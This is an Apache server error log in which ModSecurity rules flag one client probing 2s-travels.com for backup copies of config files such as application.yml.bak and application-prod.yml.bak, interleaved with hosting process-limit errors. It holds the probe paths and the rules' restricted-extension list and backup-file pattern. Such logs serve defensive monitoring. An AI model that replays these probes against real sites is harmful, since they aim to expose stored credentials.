[Fri Jul 17 08:55:20.278875 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application.properties.swp"] [unique_id "almgoKquHSHoCJK_V0SBWwAAABs"]
[Fri Jul 17 08:55:20.278994 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.279147 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoKquHSHoCJK_V0SBWwAAABs"]
[Fri Jul 17 08:55:20.281894 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.285844 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application.properties.backup"] [unique_id "almgoA7FYe46zHK_jL3P7gAAABk"]
[Fri Jul 17 08:55:20.286409 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application.properties.backup"] [unique_id "almgoA7FYe46zHK_jL3P7gAAABk"]
[Fri Jul 17 08:55:20.286527 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.286695 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA7FYe46zHK_jL3P7gAAABk"]
[Fri Jul 17 08:55:20.293492 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.296422 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.298471 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.311141 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.317772 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.318467 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application.yml.old"] [unique_id "almgoO1pLmPpy2r_2CxfWwAAAA8"]
[Fri Jul 17 08:55:20.319332 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application.yml.old"] [unique_id "almgoO1pLmPpy2r_2CxfWwAAAA8"]
[Fri Jul 17 08:55:20.319556 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.319817 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoO1pLmPpy2r_2CxfWwAAAA8"]
[Fri Jul 17 08:55:20.327129 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application.yml.bak"] [unique_id "almgoKquHSHoCJK_V0SBXAAAABs"]
[Fri Jul 17 08:55:20.327868 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application.yml.bak"] [unique_id "almgoKquHSHoCJK_V0SBXAAAABs"]
[Fri Jul 17 08:55:20.328064 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.328243 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoKquHSHoCJK_V0SBXAAAABs"]
[Fri Jul 17 08:55:20.334777 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.335429 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.337454 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application.yml.swp"] [unique_id "almgoA5GPQ6hs4VrfMpBkAAAAAY"]
[Fri Jul 17 08:55:20.337980 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application.yml.swp"] [unique_id "almgoA5GPQ6hs4VrfMpBkAAAAAY"]
[Fri Jul 17 08:55:20.338136 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.338290 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA5GPQ6hs4VrfMpBkAAAAAY"]
[Fri Jul 17 08:55:20.342502 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.342589 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".yml~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application.yml~"] [unique_id "almgoHRlmrtCoY_COpcl-QAAAAg"]
[Fri Jul 17 08:55:20.343297 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application.yml~"] [unique_id "almgoHRlmrtCoY_COpcl-QAAAAg"]
[Fri Jul 17 08:55:20.343465 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.343644 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoHRlmrtCoY_COpcl-QAAAAg"]
[Fri Jul 17 08:55:20.343827 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application.yml.backup"] [unique_id "almgoIbYoYGvYnmnM82COAAAAAs"]
[Fri Jul 17 08:55:20.345892 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.347859 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application.yml.backup"] [unique_id "almgoIbYoYGvYnmnM82COAAAAAs"]
[Fri Jul 17 08:55:20.347986 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.348130 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIbYoYGvYnmnM82COAAAAAs"]
[Fri Jul 17 08:55:20.350475 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.350481 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.351247 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application-prod.yml.bak"] [unique_id "almgoFCBpfuYyhJ140vStwAAAB4"]
[Fri Jul 17 08:55:20.351766 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application-prod.yml.bak"] [unique_id "almgoFCBpfuYyhJ140vStwAAAB4"]
[Fri Jul 17 08:55:20.351879 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.351994 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoFCBpfuYyhJ140vStwAAAB4"]
